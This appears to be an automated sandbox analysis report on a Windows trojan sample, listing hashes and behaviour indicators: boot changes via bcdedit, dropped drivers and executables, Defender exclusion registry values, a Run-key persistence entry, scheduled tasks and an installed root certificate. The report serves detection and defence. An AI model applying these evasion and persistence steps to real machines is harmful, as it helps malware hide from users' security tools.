9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc

Analysis

max time kernel
125s
max time network
145s
platform
windows7_x64
resource
win7v20201028
submitted
08-11-2020 18:14

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General

Target

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Size

3.8MB
MD5

ec739beadc6a82a62f4a0c12e271372c
SHA1

e5f980ac2ec58b88062d9a01eacfd040a2690976
SHA256

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc
SHA512

3d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551

Score

10^/10

discovery evasion persistence trojan upx

Malware Config

Signatures

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
1572	bcdedit.exe
1676	bcdedit.exe
552	bcdedit.exe
1708	bcdedit.exe
1328	bcdedit.exe
1148	bcdedit.exe
744	bcdedit.exe
1608	bcdedit.exe
876	bcdedit.exe
944	bcdedit.exe
1588	bcdedit.exe
560	bcdedit.exe
1364	bcdedit.exe
1712	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 5 IoCs

Processes:

csrss.exepatch.exedsefix.exewindefender.exewindefender.exe

pid process

1632 csrss.exe
316 patch.exe
848 dsefix.exe
1588 windefender.exe
1032 windefender.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1632	csrss.exe
316	patch.exe
848	dsefix.exe
1588	windefender.exe
1032	windefender.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral1/memory/1588-52-0x0000000000400000-0x0000000000897000-memory.dmp	upx
C:\Windows\windefender.exe	upx
C:\Windows\windefender.exe	upx

Loads dropped DLL 12 IoCs

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exepatch.execsrss.exe

pid	process
1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
856
316	patch.exe
316	patch.exe
316	patch.exe
316	patch.exe
316	patch.exe
316	patch.exe
316	patch.exe
316	patch.exe
1632	csrss.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SparklingDust = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\SparklingDust = "\"C:\\Windows\\rss\\csrss.exe\""	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

netsh.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI	netsh.exe

Drops file in Windows directory 4 IoCs

Processes:

csrss.exe9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
File created	C:\Windows\rss\csrss.exe	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1316 schtasks.exe
796 schtasks.exe

pid	process
1316	schtasks.exe
796	schtasks.exe

Modifies data under HKEY_USERS 412 IoCs

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exewindefender.execsrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-342 = "Egypt Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-521 = "N. Central Asia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-152 = "Central America Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-892 = "Morocco Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-111 = "Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-11 = "Azores Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-571 = "China Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-122 = "SA Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-501 = "Nepal Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-202 = "US Mountain Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-582 = "North Asia East Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-442 = "Arabian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-572 = "China Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
